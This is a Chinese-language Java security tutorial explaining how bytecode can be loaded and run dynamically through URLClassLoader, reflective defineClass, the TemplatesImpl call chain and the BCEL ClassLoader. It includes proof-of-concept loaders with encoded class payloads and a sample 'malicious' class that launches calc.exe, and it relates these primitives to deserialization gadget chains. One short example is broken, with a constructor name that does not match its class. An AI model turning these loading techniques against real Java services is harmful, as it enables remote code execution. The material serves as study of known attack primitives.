Java安全之动态加载字节码
Java字节码
简单说，Java字节码就是.class后缀的文件,里面存放Java虚拟机执行的指令。
由于Java是一门跨平台的编译型语言，所以可以适用于不同平台，不同CPU的计算机，开发者只需要将自己的代码编译一次，就可以运行在不同平台的JVM中。
甚至，开发者可以用类似Scala、Kotlin这样的语言编写代码，只要你的编译器能够将代码编译成.class文
件，都可以在JVM虚拟机中运行：
uploading-image-878441.png
URLClassLoader加载远程class文件
ClassLoader是一个加载器，就是用来告诉JVM虚拟机如何去加载这个类，默认的就是根据类名来加载类，这个类名需要是完整路径，比如说java.lang.Runtime
URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类，所以，我们解释
URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程
正常情况下，Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径（这
些路径是经过处理后的 java.net.URL 类）来寻找.class文件来加载，而这个基础路径有分为三种情况：
- URL未以斜杠
/结尾，则认为是一个JAR文件，使用 JarLoader 来寻找类，即为在Jar包中寻找.class文件 - URL以斜杠
/结尾，且协议名是 file ，则使用 FileLoader 来寻找类，即为在本地文件系统中寻找.class文件 - URL以斜杠
/结尾，且协议名不是 file ，则使用最基础的 Loader 来寻找类
使用Http协议测试，看Java是否能从远程HTTP服务器上加载.class文件：
先编译一个.class文件放在服务器上(这里用自己Python起个服务器，就是访问不到，气死)
public class Hello {
public Evil() throws Exception {
}
}
利用ClassLoader#defineClass直接加载字节码
其实，不管是加载远程class文件，还是本地的class或jar文件，Java都经历的是下面这三个方法调用
ClassLoader#loadClass ---> ClassLoader#findClass ---> ClassLoader#defineClass
loadClass的作用是从已加载的类缓存、父加载器等位置寻找类（这里实际上是双亲委派机制），在前面没有找到的情况下，执行findClassfindClass的作用是根据基础URL指定的方式来加载类的字节码，就像上面说到的，可能会在
本地文件系统、jar包或远程http服务器上读取字节码，然后交给defineClassdefineClass的作用是处理前面传入的字节码，将其处理成真正的Java类
所以真正核心的部分其实是 defineClass ，他决定了如何将一段字节流转变成一个Java类，Java
默认的 ClassLoader#defineClass 是一个native方法，逻辑在JVM的C语言代码中
native方法称为本地方法。在java源程序中以关键字“native”声明，不提供函数体。
其实现使用C/C++语言在另外的文件中编写，编写的规则遵循Java本地接口的规范(简称JNI)。
简而言就是Java中声明的可调用的使用C/C++实现的方法。
例子：
package org.gk0d;
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA"+
"Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs"+
"bG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh"+
"L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry"+
"ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n"+
"OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA"+
"AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length);
hello.newInstance();
}
}
//ClassLoader.getSystemClassLoader()返回系统的类加载器对象
里面是Hello.class的base64编码
注意：在 defineClass 被调用的时候，类对象是不会被初始化的，只有这个对象显式地调用其构造
函数，初始化代码才能被执行。而且，即使我们将初始化代码放在类的static块中，在 defineClass 时也无法被直接调用到。所以，如果我们要使用 defineClass 在目标机器上执行任意代码，需要想办法调用构造函数。
因为系统的 ClassLoader#defineClass 是一个保护属性，所以我们无法直接在外部访问，不得
不使用反射的形式来调用。
在实际场景中，因为defineClass方法作用域是不开放的，所以攻击者很少能直接利用到它，但它却是我
们常用的一个攻击链 TemplatesImpl 的基石。
利用TemplatesImpl加载字节码
前面分析了defineClass方法并不好直接利用，但是Java底层还是有一些类用到了它，这就是 TemplatesImpl ,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类
TransletClassLoader :
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
这个类里重写了 defineClass 方法，并且这里没有显式地声明其定义域。Java中默认情况下，如果一个
方法没有显式声明作用域，其作用域为default。所以也就是说这里的defineClass 由其父类的
protected类型变成了一个default类型的方法，可以被类外部调用。
从 TransletClassLoader#defineClass() 向前追溯一下调用链：
TransletClassLoader#defineClass()
-> TemplatesImpl#defineTransletClasses()
-> TemplatesImpl#getTransletInstance()
-> TemplatesImpl#newTransformer()
-> TemplatesImpl#getOutputProperties()
先看TemplatesImpl#defineTransletClasses()方法：
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);//在这里调用了defineClass
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
但它是一个private方法，还是不能直接调用，继续往上看到getTransletInstance()，
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();//此处调用defineTransletClasses方法
// The translet needs to keep a reference to all its auxiliary class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
还是private方法，继续找到newTransformer()方法
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//调用了getTransletInstance方法
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
是public方法了，可以直接调用，所以一条调用链就出来了
首先得设置TemplatesImpl对象的三个私有属性，这里我们用反射设置就行，三个属性：_bytecodes、 _name 和 _tfactory
_name：为任意字符串，只要不是null才可以进入defineTransletClasses()
_bytecodes：由字节码组成的数组，用来存放恶意代码，其值不能为null_tfactory需要是一个TransformerFactoryImpl对象，因为TemplatesImpl#defineTransletClasses()方法里有调用_tfactory.getExternalExtensionsMap()，如果是null会出错
另外TemplatesImpl 中对加载的字节码是有一定要求的：这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类
所以，我们需要构造一个特殊的类：
package org.gk0d;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public HelloTemplatesImpl() {
super();
System.out.println("Hello TemplatesImpl");
}
}
解释以下为什么多了两个transform方法
这里是因为子类需要实现父类里面的抽象方法，同时因为父类是抽象类，可能没有将接口的方法全部实现，
这时子类如果不是抽象的，那必须将其他接口方法都实现。
这里面 `transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler)
是父类里面的抽象方法所以要重写
transform(DOM document, SerializationHandler[] handlers)是父类没有实现接口的方法所以要重写
同样将其编译为class文件，然后base64编码
最后就是写poc了,就新建一个TemplatesImpl对象，把属性设置进去然后执行newTransformer方法触发，主要是咱得先写一个利用反射给私有属性赋值的一个方法setFieldValue：
package org.gk0d;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class a {
public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, Value);
}
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +
"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
"aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +
"KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +
"Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +
"YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +
"bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +
"DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +
"AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +
"dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +
"bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
"ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
"OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +
"AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +
"AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +
"DwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
}
利用BCEL ClassLoader加载字节码
关于BCEL先看看p神的：//www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel
被Apache Xalan所使用，而Apache Xalan又是Java内部对于JAXP的实现，所以BCEL也被包含在了JDK的
原生库中。
BCEL属于Apache Commons项目下的一个子项目，全名应Apache Commons BCE，它提供了一系列用于分析、修改和创建Java Class文件的API，从库功能来看，使用性远不及其他库，但被Apache Xalan所使用，而Apache Xalan又是Java内部对于JAXP的实现，所以BCEL也被包含在了JDK的原生库中位com.sun.org.apache.bcel。
BCEL包中有com.sun.org.apache.bcel.internal.util.ClassLoader类，它是一个ClassLoader，但重写了Java内置的ClassLoader#LoadClass方法
在LoadClass中，会判断类名是否是$$BCEL$$开头，如果是的话，将会对这个字符串进行decode
来看一下decode的具体算法:
private static class JavaWriter extends FilterWriter {
public JavaWriter(Writer out) {
super(out);
}
public void write(int b) throws IOException {
if(isJavaIdentifierPart((char)b) && (b != ESCAPE_CHAR)) {
out.write(b);
} else {
out.write(ESCAPE_CHAR); // Escape character
// Special escape
if(b >= 0 && b < FREE_CHARS) {
out.write(CHAR_MAP[b]);
} else { // Normal escape
char[] tmp = Integer.toHexString(b).toCharArray();
if(tmp.length == 1) {
out.write('0');
out.write(tmp[0]);
} else {
out.write(tmp[0]);
out.write(tmp[1]);
}
}
}
}
public void write(char[] cbuf, int off, int len) throws IOException {
for(int i=0; i < len; i++)
write(cbuf[off + i]);
}
public void write(String str, int off, int len) throws IOException {
write(str.toCharArray(), off, len);
}
}
可以理解为是传统字节码的16进制编码，然后将 \ 替换为 $ ，默认还会在最外层加上 GZip 压缩
边写恶意类
package org.gk0d;
import java.io.IOException;
public class calc{
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
然后通过BCEL提供的两个类Repository和utility来利用:
Repository用于将一个Java Class先转换成原生字节码（也可以直接javac编译获得）；
utility用于将原生字节码转换成BCEL格式的字节码
package org.gk0d;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class POP {
public static void main(String[] args) throws Exception{
JavaClass javaClass = Repository.lookupClass(calc.class);
String code = Utility.encode(javaClass.getBytes(),true);
System.out.println(code);
}
}
最后用BCEL ClassLoader加载这串特殊的字节码，并执行里面的代码：
package org.gk0d;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class Test {
public static void main(String[] args) throws Exception{
c();
}
private static void b() throws Exception{
JavaClass javaClass = Repository.lookupClass(a.class);
String code = Utility.encode(javaClass.getBytes(),true);
System.out.println(code);
}
private static void c() throws Exception {
new ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2P$Q$3d$X$K$z$b5$I$82$f8$7e$3f$c1$85l$dci$dc$YM$8c$f5$R$n$ba$be$5co$f0$o$b6$a4$5c$M$7f$e4$da$8d$g$X$7e$80$le$9c$5e$VM$b4Ig$3a$e7$cc93$93$be$bd$bf$bc$C$d8$c2$9a$L$H$e3$$$s0$e9$60$w$ce$d36f$5c$a40kc$ce$c6$3cCzG$FJ$ef2$q$cb$95$L$Gk$_$bc$92$M9_$F$f2$a4w$db$90Q$9d7$da$84$U$fcP$f0$f6$F$8fT$5c$7f$81$96$beV$5d$92$fa$7c$9b$c1$d9$R$ed$_$_F$5c$c9o$f1$3b$5eUa$f5$f0t$bf$_dG$ab0$a0$b6lMsqs$cc$3b$c6$83$d6apka$_$S$f2$40$c5$9ei$be$Z$L$3dd$e0$daX$f0$b0$88$r2$a7$e1bS$f6$a5$87e$ac0$U$ff1$f7$b0$K$97$86s$86$bc$a1$db$3chVO$h$z$v4$c3$c8$Pt$de$L$b4$ba$a5YnS$eaAQ$wW$fc$3f$3d$b4$b0ES$F$c3z$f9$X$5b$d3$91$K$9a$db$bf$FgQ$ud$b7K$82$5c$87Hm$ce$acG$5cH$ba$c0$a6$ff$Q$3f$J$b0$f8$$$8aCTU$v3$ca$a9$8d$t$b0$HC$7b$U$d3$GL$oK$d1$fbl$c00r$94$j$e4$Hbn$cc$80$c23$S$85$e4$p$ac$cb$7b8G$h$8fH$3f$Y$3cC$da$U$b9$c4$8ec$f4$V$fbf$Mj$93$b3$83$Rr$fa$9e$90$85Eu$81$aa$o$bd6$S$be$8dQ$8b$88$92Yj$ec$D$e5$e5$f0$NQ$C$A$A").newInstance();
}
}
代码进行简化后如下
package org.gk0d;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class Test {
public static void main(String[] args) throws Exception {
JavaClass javaClass = Repository.lookupClass(calc.class);
String code = Utility.encode(javaClass.getBytes(), true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}
总结
BCEL ClassLoader类和前面的
TemplatesImpl 都出自于同一个第三方库，Apache Xalan，在Fastjson等漏洞的利用链构造时都有被用到
还有一个重要的利用条件就是在Java 8u251的更新中，这个ClassLoader被移除了，所以之后只能在这个之前的版本才可以利用。
